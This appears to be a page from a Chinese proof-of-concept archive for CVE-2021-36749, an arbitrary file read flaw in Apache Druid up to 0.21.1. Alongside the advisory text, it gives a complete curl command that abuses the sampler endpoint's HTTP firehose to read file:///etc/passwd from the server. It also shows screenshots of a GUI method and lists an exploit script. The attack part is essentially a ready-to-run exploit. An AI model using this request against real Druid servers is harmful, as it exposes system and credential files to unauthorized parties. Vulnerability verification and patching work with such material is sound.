POC详情: b8068f5f8e6ec901af5d25f6e6be24be063ff194

来源
关联漏洞
标题: Apache Druid 安全漏洞 (CVE-2021-36749)
描述:Apache Druid是美国阿帕奇(Apache)基金会的一款使用Java语言编写的、面向列的开源分布式数据库。 Apache Druid 存在安全漏洞,该漏洞源于在 Druid ingestion system 中,InputSource 用于从某个数据源读取数据。但是,HTTP InputSource 允许经过身份验证的用户以 Druid 服务器进程的权限从其他来源读取数据,例如本地文件系统。 这不是用户直接访问 Druid 时的权限提升,因为 Druid 还提供了 Local InputSourc
描述
Apache Druid 任意文件读取
介绍
# CVE-2021-36749
Apache Druid 任意文件读取

受影响版本:version <= 0.21.1

使用以下两种方式均可

## 命令行方式

```bash
curl http://127.0.0.1:8888/druid/indexer/v1/sampler?for=connect -H "Content-Type:application/json" -X POST -d "{\"type\":\"index\",\"spec\":{\"type\":\"index\",\"ioConfig\":{\"type\":\"index\",\"firehose\":{\"type\":\"http\",\"uris\":[\" file:///etc/passwd \"]}},\"dataSchema\":{\"dataSource\":\"sample\",\"parser\":{\"type\":\"string\", \"parseSpec\":{\"format\":\"regex\",\"pattern\":\"(.*)\",\"columns\":[\"a\"],\"dimensionsSpec\":{},\"timestampSpec\":{\"column\":\"no_ such_ column\",\"missingValue\":\"2010-01-01T00:00:00Z\"}}}}},\"samplerConfig\":{\"numRows\":500,\"timeoutMs\":15000}}"
```

## 图形界面方式

![1](https://i.loli.net/2021/10/14/bj27OYBhLDQSUw4.png)

![2](https://i.loli.net/2021/10/14/rGORHBnSfoesXhA.png)

文件快照

[4.0K] /data/pocs/b8068f5f8e6ec901af5d25f6e6be24be063ff194 ├── [1.4K] CVE-2021-36749.py └── [ 882] README.md 0 directories, 2 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。